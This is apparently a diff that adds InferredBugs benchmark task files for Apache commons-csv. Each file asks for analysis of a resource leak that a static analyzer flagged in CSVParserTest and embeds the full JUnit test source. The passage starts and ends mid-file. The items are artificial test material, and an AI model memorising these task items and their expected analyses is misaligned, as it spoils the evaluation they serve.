+src/test/org/apache/commons/csv/ExtendedBufferedReaderTest.java
+
+### Key:
+ExtendedBufferedReaderTest.java|testConstructors|RESOURCE_LEAK
+
+### Node Key:
+b00d3f56cf93871ab48a48bae780d0ab
+
+### Hash:
+be08ddbdc8f874d641f3e00ea193636e
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6462/instruction.md b/inferredbugs-6462/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..b0070e5997b77593434db58e26aee4f7e5cdf947
--- /dev/null
+++ b/inferredbugs-6462/instruction.md
@@ -0,0 +1,784 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-csv
+**Bug ID:** 81
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.csv;
+
+import static org.apache.commons.csv.Constants.CR;
+import static org.apache.commons.csv.Constants.CRLF;
+import static org.apache.commons.csv.Constants.LF;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.io.IOException;
+import java.io.Reader;
+import java.io.StringReader;
+import java.io.StringWriter;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.NoSuchElementException;
+
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+/**
+ * CSVParserTest
+ *
+ * The test are organized in three different sections:
+ * The 'setter/getter' section, the lexer section and finally the parser
+ * section. In case a test fails, you should follow a top-down approach for
+ * fixing a potential bug (its likely that the parser itself fails if the lexer
+ * has problems...).
+ *
+ * @version $Id$
+ */
+public class CSVParserTest {
+
+    private static final String CSVINPUT = "a,b,c,d\n"
+                    + " a , b , 1 2 \n"
+                    + "\"foo baar\", b,\n"
+                    // + "   \"foo\n,,\n\"\",,\n\\\"\",d,e\n";
+                    + "   \"foo\n,,\n\"\",,\n\"\"\",d,e\n";   // changed to use standard CSV escaping
+
+    private static final String[][] RESULT = {
+            {"a", "b", "c", "d"},
+            {"a", "b", "1 2"},
+            {"foo baar", "b", ""},
+            {"foo\n,,\n\",,\n\"", "d", "e"}
+    };
+
+    @Test
+    public void testGetLine() throws IOException {
+        final CSVParser parser = new CSVParser(new StringReader(CSVINPUT), CSVFormat.DEFAULT.withIgnoreSurroundingSpaces(true));
+        for (final String[] re : RESULT) {
+            assertArrayEquals(re, parser.nextRecord().values());
+        }
+
+        assertNull(parser.nextRecord());
+    }
+
+    @Test
+    public void testGetRecords() throws IOException {
+        final CSVParser parser = new CSVParser(new StringReader(CSVINPUT), CSVFormat.DEFAULT.withIgnoreSurroundingSpaces(true));
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(RESULT.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < RESULT.length; i++) {
+            assertArrayEquals(RESULT[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testExcelFormat1() throws IOException {
+        final String code =
+                "value1,value2,value3,value4\r\na,b,c,d\r\n  x,,,"
+                        + "\r\n\r\n\"\"\"hello\"\"\",\"  \"\"world\"\"\",\"abc\ndef\",\r\n";
+        final String[][] res = {
+                {"value1", "value2", "value3", "value4"},
+                {"a", "b", "c", "d"},
+                {"  x", "", "", ""},
+                {""},
+                {"\"hello\"", "  \"world\"", "abc\ndef", ""}
+        };
+        final CSVParser parser = new CSVParser(code, CSVFormat.EXCEL);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(res.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertArrayEquals(res[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testExcelFormat2() throws Exception {
+        final String code = "foo,baar\r\n\r\nhello,\r\n\r\nworld,\r\n";
+        final String[][] res = {
+                {"foo", "baar"},
+                {""},
+                {"hello", ""},
+                {""},
+                {"world", ""}
+        };
+        final CSVParser parser = new CSVParser(code, CSVFormat.EXCEL);
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(res.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertArrayEquals(res[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testEndOfFileBehaviourExcel() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\nworld,\r\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\r\n",
+                "hello,\r\n\r\nworld,\"\"",
+                "hello,\r\n\r\nworld,\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\n",
+                "hello,\r\n\r\nworld,\"\""
+        };
+        final String[][] res = {
+                {"hello", ""},
+                {""},  // Excel format does not ignore empty lines
+                {"world", ""}
+        };
+
+        for (final String code : codes) {
+            final CSVParser parser = new CSVParser(code, CSVFormat.EXCEL);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEndOfFileBehaviorCSV() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\nworld,\r\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\r\n",
+                "hello,\r\n\r\nworld,\"\"",
+                "hello,\r\n\r\nworld,\n",
+                "hello,\r\n\r\nworld,",
+                "hello,\r\n\r\nworld,\"\"\n",
+                "hello,\r\n\r\nworld,\"\""
+        };
+        final String[][] res = {
+                {"hello", ""},  // CSV format ignores empty lines
+                {"world", ""}
+        };
+        for (final String code : codes) {
+            final CSVParser parser = new CSVParser(new StringReader(code));
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEmptyLineBehaviourExcel() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\n\r\n",
+                "hello,\n\n\n",
+                "hello,\"\"\r\n\r\n\r\n",
+                "hello,\"\"\n\n\n"
+        };
+        final String[][] res = {
+                {"hello", ""},
+                {""},  // Excel format does not ignore empty lines
+                {""}
+        };
+        for (final String code : codes) {
+            final CSVParser parser = new CSVParser(code, CSVFormat.EXCEL);
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEmptyLineBehaviourCSV() throws Exception {
+        final String[] codes = {
+                "hello,\r\n\r\n\r\n",
+                "hello,\n\n\n",
+                "hello,\"\"\r\n\r\n\r\n",
+                "hello,\"\"\n\n\n"
+        };
+        final String[][] res = {
+                {"hello", ""}  // CSV format ignores empty lines
+        };
+        for (final String code : codes) {
+            final CSVParser parser = new CSVParser(new StringReader(code));
+            final List<CSVRecord> records = parser.getRecords();
+            assertEquals(res.length, records.size());
+            assertTrue(records.size() > 0);
+            for (int i = 0; i < res.length; i++) {
+                assertArrayEquals(res[i], records.get(i).values());
+            }
+        }
+    }
+
+    @Test
+    public void testEmptyFile() throws Exception {
+        final CSVParser parser = new CSVParser("", CSVFormat.DEFAULT);
+        assertNull(parser.nextRecord());
+    }
+
+    @Test
+    public void testCSV57() throws Exception {
+        final CSVParser parser = new CSVParser("", CSVFormat.DEFAULT);
+        final List<CSVRecord> list = parser.getRecords();
+        assertNotNull(list);
+        assertEquals(0, list.size());
+    }
+
+    @Test
+    @Ignore
+    public void testBackslashEscapingOld() throws IOException {
+        final String code =
+                "one,two,three\n"
+                        + "on\\\"e,two\n"
+                        + "on\"e,two\n"
+                        + "one,\"tw\\\"o\"\n"
+                        + "one,\"t\\,wo\"\n"
+                        + "one,two,\"th,ree\"\n"
+                        + "\"a\\\\\"\n"
+                        + "a\\,b\n"
+                        + "\"a\\\\,b\"";
+        final String[][] res = {
+                {"one", "two", "three"},
+                {"on\\\"e", "two"},
+                {"on\"e", "two"},
+                {"one", "tw\"o"},
+                {"one", "t\\,wo"},  // backslash in quotes only escapes a delimiter (",")
+                {"one", "two", "th,ree"},
+                {"a\\\\"},     // backslash in quotes only escapes a delimiter (",")
+                {"a\\", "b"},  // a backslash must be returnd
+                {"a\\\\,b"}    // backslash in quotes only escapes a delimiter (",")
+        };
+        final CSVParser parser = new CSVParser(new StringReader(code));
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(res.length, records.size());
+        assertTrue(records.size() > 0);
+        for (int i = 0; i < res.length; i++) {
+            assertArrayEquals(res[i], records.get(i).values());
+        }
+    }
+
+    @Test
+    public void testBackslashEscaping() throws IOException {
+
+        // To avoid confusion over the need for escaping chars in java code,
+        // We will test with a forward slash as the escape char, and a single
+        // quote as the encapsulator.
+
+        final String code =
+                "one,two,three\n" // 0
+                        + "'',''\n"       // 1) empty encapsulators
+                        + "/',/'\n"       // 2) single encapsulators
+                        + "'/'','/''\n"   // 3) single encapsulators encapsulated via escape
+                        + "'''',''''\n"   // 4) single encapsulators encapsulated via doubling
+                        + "/,,/,\n"       // 5) separator escaped
+                        + "//,//\n"       // 6) escape escaped
+                        + "'//','//'\n"   // 7) escape escaped in encapsulation
+                        + "   8   ,   \"quoted \"\" /\" // string\"   \n"     // don't eat spaces
+                        + "9,   /\n   \n"  // escaped newline
+                        + "";
+        final String[][] res = {
+                {"one", "two", "three"}, // 0
+                {"", ""},                // 1
+                {"'", "'"},              // 2
+                {"'", "'"},              // 3
+                {"'", "'"},              // 4
+                {",", ","},              // 5
+                {"/", "/"},              // 6
+                {"/", "/"},              // 7
+                {"   8   ", "   \"quoted \"\" /\" / string\"   "},
+                {"9", "   \n   "},
+        };
+
+
+        final CSVFormat format = CSVFormat.newFormat(',').withQuoteChar('\'')
+                               .withRecordSeparator(CRLF).withEscape('/').withIgnoreEmptyLines(true);
+
+        final CSVParser parser = new CSVParser(code, format);
+        final List<CSVRecord> records = parser.getRecords();
+        assertTrue(records.size() > 0);
+
+        Utils.compare("Records do not match expected result", res, records);
+    }
+
+    @Test
+    public void testBackslashEscaping2() throws IOException {
+
+        // To avoid confusion over the need for escaping chars in java code,
+        // We will test with a forward slash as the escape char, and a single
+        // quote as the encapsulator.
+
+        final String code = ""
+                + " , , \n"           // 1)
+                + " \t ,  , \n"       // 2)
+                + " // , /, , /,\n"   // 3)
+                + "";
+        final String[][] res = {
+                {" ", " ", " "},         // 1
+                {" \t ", "  ", " "},     // 2
+                {" / ", " , ", " ,"},    // 3
+        };
+
+
+        final CSVFormat format = CSVFormat.newFormat(',')
+                .withRecordSeparator(CRLF).withEscape('/').withIgnoreEmptyLines(true);
+
+        final CSVParser parser = new CSVParser(code, format);
+        final List<CSVRecord> records = parser.getRecords();
+        assertTrue(records.size() > 0);
+
+        Utils.compare("", res, records);
+    }
+
+    @Test
+    public void testDefaultFormat() throws IOException {
+        final String code = ""
+                + "a,b#\n"           // 1)
+                + "\"\n\",\" \",#\n"   // 2)
+                + "#,\"\"\n"         // 3)
+                + "# Final comment\n"// 4)
+                ;
+        final String[][] res = {
+                {"a", "b#"},
+                {"\n", " ", "#"},
+                {"#", ""},
+                {"# Final comment"}
+        };
+
+        CSVFormat format = CSVFormat.DEFAULT;
+        assertFalse(format.isCommentingEnabled());
+
+        CSVParser parser = new CSVParser(code, format);
+        List<CSVRecord> records = parser.getRecords();
+        assertTrue(records.size() > 0);
+
+        Utils.compare("Failed to parse without comments", res, records);
+
+        final String[][] res_comments = {
+                {"a", "b#"},
+                {"\n", " ", "#"},
+        };
+
+        format = CSVFormat.DEFAULT.withCommentStart('#');
+        parser = new CSVParser(code, format);
+        records = parser.getRecords();
+
+        Utils.compare("Failed to parse with comments", res_comments, records);
+    }
+
+    @Test
+    public void testCarriageReturnLineFeedEndings() throws IOException {
+        final String code = "foo\r\nbaar,\r\nhello,world\r\n,kanu";
+        final CSVParser parser = new CSVParser(new StringReader(code));
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(4, records.size());
+    }
+
+    @Test
+    public void testClose() throws Exception {
+        final Reader in = new StringReader("# comment\na,b,c\n1,2,3\nx,y,z");
+        final CSVParser parser = CSVFormat.DEFAULT.withCommentStart('#').withHeader().parse(in);
+        final Iterator<CSVRecord> records = parser.iterator();
+        assertTrue(records.hasNext());
+        parser.close();
+        assertFalse(records.hasNext());
+        assertNull(records.next());
+        assertFalse(records.hasNext());
+        assertNull(records.next());
+    }
+
+    @Test
+    public void testCarriageReturnEndings() throws IOException {
+        final String code = "foo\rbaar,\rhello,world\r,kanu";
+        final CSVParser parser = new CSVParser(new StringReader(code));
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(4, records.size());
+    }
+
+    @Test
+    public void testLineFeedEndings() throws IOException {
+        final String code = "foo\nbaar,\nhello,world\n,kanu";
+        final CSVParser parser = new CSVParser(new StringReader(code));
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(4, records.size());
+    }
+
+    @Test
+    public void testIgnoreEmptyLines() throws IOException {
+        final String code = "\nfoo,baar\n\r\n,\n\n,world\r\n\n";
+        //String code = "world\r\n\n";
+        //String code = "foo;baar\r\n\r\nhello;\r\n\r\nworld;\r\n";
+        final CSVParser parser = new CSVParser(new StringReader(code));
+        final List<CSVRecord> records = parser.getRecords();
+        assertEquals(3, records.size());
+    }
+
+    @Test
+    public void testForEach() throws Exception {
+        final List<CSVRecord> records = new ArrayList<CSVRecord>();
+
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        for (final CSVRecord record : CSVFormat.DEFAULT.parse(in)) {
+            records.add(record);
+        }
+
+        assertEquals(3, records.size());
+        assertArrayEquals(new String[]{"a", "b", "c"}, records.get(0).values());
+        assertArrayEquals(new String[]{"1", "2", "3"}, records.get(1).values());
+        assertArrayEquals(new String[]{"x", "y", "z"}, records.get(2).values());
+    }
+
+    @Test
+    public void testRoundtrip() throws Exception {
+        final StringWriter out = new StringWriter();
+        final CSVPrinter printer = new CSVPrinter(out, CSVFormat.DEFAULT);
+        final String input = "a,b,c\r\n1,2,3\r\nx,y,z\r\n";
+        for (final CSVRecord record : CSVFormat.DEFAULT.parse(new StringReader(input))) {
+            printer.printRecord(record);
+        }
+        assertEquals(input, out.toString());
+        printer.close();
+    }
+
+    @Test
+    public void testIterator() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> iterator = CSVFormat.DEFAULT.parse(in).iterator();
+
+        assertTrue(iterator.hasNext());
+        try {
+            iterator.remove();
+            fail("expected UnsupportedOperationException");
+        } catch (final UnsupportedOperationException expected) {
+        }
+        assertArrayEquals(new String[]{"a", "b", "c"}, iterator.next().values());
+        assertArrayEquals(new String[]{"1", "2", "3"}, iterator.next().values());
+        assertTrue(iterator.hasNext());
+        assertTrue(iterator.hasNext());
+        assertTrue(iterator.hasNext());
+        assertArrayEquals(new String[]{"x", "y", "z"}, iterator.next().values());
+        assertFalse(iterator.hasNext());
+
+        try {
+            iterator.next();
+            fail("NoSuchElementException expected");
+        } catch (final NoSuchElementException e) {
+            // expected
+        }
+    }
+
+    @Test
+    public void testHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader().parse(in).iterator();
+
+        for (int i = 0; i < 2; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertEquals(record.get(0), record.get("a"));
+            assertEquals(record.get(1), record.get("b"));
+            assertEquals(record.get(2), record.get("c"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testHeaderComment() throws Exception {
+        final Reader in = new StringReader("# comment\na,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withCommentStart('#').withHeader().parse(in).iterator();
+
+        for (int i = 0; i < 2; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertEquals(record.get(0), record.get("a"));
+            assertEquals(record.get(1), record.get("b"));
+            assertEquals(record.get(2), record.get("c"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testProvidedHeader() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2,3\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader("A", "B", "C").parse(in).iterator();
+
+        for (int i = 0; i < 3; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertTrue(record.isMapped("A"));
+            assertTrue(record.isMapped("B"));
+            assertTrue(record.isMapped("C"));
+            assertFalse(record.isMapped("NOT MAPPED"));
+            assertEquals(record.get(0), record.get("A"));
+            assertEquals(record.get(1), record.get("B"));
+            assertEquals(record.get(2), record.get("C"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testMappedButNotSetAsOutlook2007ContactExport() throws Exception {
+        final Reader in = new StringReader("a,b,c\n1,2\nx,y,z");
+
+        final Iterator<CSVRecord> records = CSVFormat.DEFAULT.withHeader("A", "B", "C").parse(in).iterator();
+
+        // header record
+        assertTrue(records.hasNext());
+        CSVRecord record = records.next();
+        assertTrue(record.isMapped("A"));
+        assertTrue(record.isMapped("B"));
+        assertTrue(record.isMapped("C"));
+        assertTrue(record.isSet("A"));
+        assertTrue(record.isSet("B"));
+        assertTrue(record.isSet("C"));
+        assertEquals("a", record.get("A"));
+        assertEquals("b", record.get("B"));
+        assertEquals("c", record.get("C"));
+        assertTrue(record.isConsistent());
+
+        // 1st record
+        record = records.next();
+        assertTrue(record.isMapped("A"));
+        assertTrue(record.isMapped("B"));
+        assertTrue(record.isMapped("C"));
+        assertTrue(record.isSet("A"));
+        assertTrue(record.isSet("B"));
+        assertFalse(record.isSet("C"));
+        assertEquals("1", record.get("A"));
+        assertEquals("2", record.get("B"));
+        assertFalse(record.isConsistent());
+
+        // 2nd record
+        record = records.next();
+        assertTrue(record.isMapped("A"));
+        assertTrue(record.isMapped("B"));
+        assertTrue(record.isMapped("C"));
+        assertTrue(record.isSet("A"));
+        assertTrue(record.isSet("B"));
+        assertTrue(record.isSet("C"));
+        assertEquals("x", record.get("A"));
+        assertEquals("y", record.get("B"));
+        assertEquals("z", record.get("C"));
+        assertTrue(record.isConsistent());
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testGetHeaderMap() throws Exception {
+        final CSVParser parser = new CSVParser("a,b,c\n1,2,3\nx,y,z", CSVFormat.DEFAULT.withHeader("A", "B", "C"));
+        final Map<String, Integer> headerMap = parser.getHeaderMap();
+        final Iterator<String> columnNames = headerMap.keySet().iterator();
+        // Headers are iterated in column order.
+        Assert.assertEquals("A", columnNames.next());
+        Assert.assertEquals("B", columnNames.next());
+        Assert.assertEquals("C", columnNames.next());
+        final Iterator<CSVRecord> records = parser.iterator();
+
+        // Parse to make sure getHeaderMap did not have a side-effect.
+        for (int i = 0; i < 3; i++) {
+            assertTrue(records.hasNext());
+            final CSVRecord record = records.next();
+            assertEquals(record.get(0), record.get("A"));
+            assertEquals(record.get(1), record.get("B"));
+            assertEquals(record.get(2), record.get("C"));
+        }
+
+        assertFalse(records.hasNext());
+    }
+
+    @Test
+    public void testGetLineNumberWithLF() throws Exception {
+        this.validateLineNumbers(String.valueOf(LF));
+    }
+
+    @Test
+    public void testGetLineNumberWithCRLF() throws Exception {
+        this.validateLineNumbers(CRLF);
+    }
+
+    @Test
+    public void testGetLineNumberWithCR() throws Exception {
+        this.validateLineNumbers(String.valueOf(CR));
+    }
+
+    @Test
+    public void testGetRecordNumberWithLF() throws Exception {
+        this.validateRecordNumbers(String.valueOf(LF));
+    }
+
+    @Test
+    public void testGetRecordWithMultiiLineValues() throws Exception {
+        final CSVParser parser = new CSVParser("\"a\r\n1\",\"a\r\n2\"" + CRLF + "\"b\r\n1\",\"b\r\n2\"" + CRLF + "\"c\r\n1\",\"c\r\n2\"",
+                CSVFormat.DEFAULT.withRecordSeparator(CRLF));
+        CSVRecord record;
+        assertEquals(0, parser.getRecordNumber());
+        assertEquals(0, parser.getCurrentLineNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(3, parser.getCurrentLineNumber());
+        assertEquals(1, record.getRecordNumber());
+        assertEquals(1, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(6, parser.getCurrentLineNumber());
+        assertEquals(2, record.getRecordNumber());
+        assertEquals(2, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(8, parser.getCurrentLineNumber());
+        assertEquals(3, record.getRecordNumber());
+        assertEquals(3, parser.getRecordNumber());
+        assertNull(record = parser.nextRecord());
+        assertEquals(8, parser.getCurrentLineNumber());
+        assertEquals(3, parser.getRecordNumber());
+    }
+
+    @Test
+    public void testGetRecordNumberWithCRLF() throws Exception {
+        this.validateRecordNumbers(CRLF);
+    }
+
+    @Test
+    public void testGetRecordNumberWithCR() throws Exception {
+        this.validateRecordNumbers(String.valueOf(CR));
+    }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testInvalidFormat() throws Exception {
+        final CSVFormat invalidFormat = CSVFormat.DEFAULT.withDelimiter(CR);
+        new CSVParser((Reader) null, invalidFormat);
+    }
+
+    private void validateRecordNumbers(final String lineSeparator) throws IOException {
+        final CSVParser parser = new CSVParser("a" + lineSeparator + "b" + lineSeparator + "c", CSVFormat.DEFAULT.withRecordSeparator(lineSeparator));
+        CSVRecord record;
+        assertEquals(0, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(1, record.getRecordNumber());
+        assertEquals(1, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(2, record.getRecordNumber());
+        assertEquals(2, parser.getRecordNumber());
+        assertNotNull(record = parser.nextRecord());
+        assertEquals(3, record.getRecordNumber());
+        assertEquals(3, parser.getRecordNumber());
+        assertNull(record = parser.nextRecord());
+        assertEquals(3, parser.getRecordNumber());
+    }
+
+    private void validateLineNumbers(final String lineSeparator) throws IOException {
+        final CSVParser parser = new CSVParser("a" + lineSeparator + "b" + lineSeparator + "c", CSVFormat.DEFAULT.withRecordSeparator(lineSeparator));
+        assertEquals(0, parser.getCurrentLineNumber());
+        assertNotNull(parser.nextRecord());
+        assertEquals(1, parser.getCurrentLineNumber());
+        assertNotNull(parser.nextRecord());
+        assertEquals(2, parser.getCurrentLineNumber());
+        assertNotNull(parser.nextRecord());
+        // Still 2 because the last line is does not have EOL chars
+        assertEquals(2, parser.getCurrentLineNumber());
+        assertNull(parser.nextRecord());
+        // Still 2 because the last line is does not have EOL chars
+        assertEquals(2, parser.getCurrentLineNumber());
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.commons.csv.ExtendedBufferedReader` acquired by call to `CSVParser(...)` at line 371 is not released after line 372.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CSVParserTest.testDefaultFormat()
+
+### Procedure Id:
+org.apache.commons.csv.CSVParserTest.testDefaultFormat():void.90b030b6ec0a6fbfae29a1f268d7e11a
+
+### File:
+src/test/java/org/apache/commons/csv/CSVParserTest.java
+
+### Key:
+CSVParserTest.java|testDefaultFormat|RESOURCE_LEAK
+
+### Node Key:
+abf778a0fb58a097b72f1ea16dfb9fcd
+
+### Hash:
+7aaa91bfffc2351c75dbb95a448a7a69
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-6463/instruction.md b/inferredbugs-6463/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..067ceb754b2a2dc9d7d2027b9b43495d23ba977f
--- /dev/null
+++ b/inferredbugs-6463/instruction.md
@@ -0,0 +1,920 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** commons-csv
+**Bug ID:** 121
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.commons.csv;
+
+import static org.apache.commons.csv.Constants.CR;
+import static org.apache.commons.csv.Constants.CRLF;
+import static org.apache.commons.csv.Constants.LF;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.Reader;
+import java.io.StringReader;
+import java.io.StringWriter;
+import java.net.URL;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.NoSuchElementException;
+
+import org.apache.commons.io.input.BOMInputStream;
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+/**
+ * CSVParserTest
+ *
+ * The test are organized in three different sections:
+ * The 'setter/getter' section, the lexer section and finally the parser
+ * section. In case a test fails, you should follow a top-down approach for
+ * fixing a potential bug (its likely that the parser itself fails if the lexer
+ * has problems...).
+ *
+ * @version $Id$
+ */
+public class CSVParserTest {
+
+    private static final String CSVINPUT = "a,b,c,d\n"
+                    + " a , b , 1 2 \n"
+                    + "\"foo baar\", b,\n"
+                    // + "   \"foo\n,,\n\"\",,\n\\\"\",d,e\n";
+                    + "   \"foo\n,,\n\"\",,\n\"\"\",d,e\n";   // changed to use standard CSV escaping
+
+    private static final String[][] RESULT = {
+            {"a", "b", "c", "d"},
+            {"a", "b", "1 2"},
+            {"foo baar", "b", ""},
+            {"foo\n,,\n\",,\n\"", "d", "e"}
+    };
+
+    @Test
+    public void testBackslashEscaping() throws IOException {
+
+        // To avoid confusion over the need for escaping chars in java code,
+        // We will test with a forward slash as the escape char, and a single
+        // quote as the encapsulator.
+
+        final String code =
+                "one,two,three\n" // 0
+                        + "'',''\n"       // 1) empty encapsulators
+                        + "/',/'\n"       // 2) single encapsulators
+                        + "'/'','/''\n"   // 3) single encapsulators encapsulated via escape
+                        + "'''',''''\n"   // 4) single encapsulators encapsulated via doubling
+                        + "/,,/,\n"       // 5) separator escaped
+                        + "//,//\n"       // 6) escape escaped
+                        + "'//','//'\n"   // 7) escape escaped in encapsulation
+                        + "   8   ,   \"quoted \"\" /\" // string\"   \n"     // don't eat spaces
+                        + "9,   /\n   \n"  // escaped newline
+                        + "";
+        final String[][] res = {
+                {"one", "two", "three"}, // 0
+                {"", ""},                // 1
+                {"'", "'"},              // 2
+                {"'", "'"},              // 3
+                {"'", "'"},              // 4
+                {",", ","},              // 5
+                {"/", "/"},              // 6
+                {"/", "/"},              // 7
+                {"   8   ", "   \"quoted \"\" /\" / string\"   "},
+                {"9", "   \n   "},
+        };
+
+
+        final CSVFormat format = CSVFormat.newFormat(',').withQuoteChar('\'')
+                               .withRecordSeparator(CRLF).withEscape('/').withIgnoreEmptyLines(true);
+
+        final CSVParser parser = CSVParser.parse(code, format);
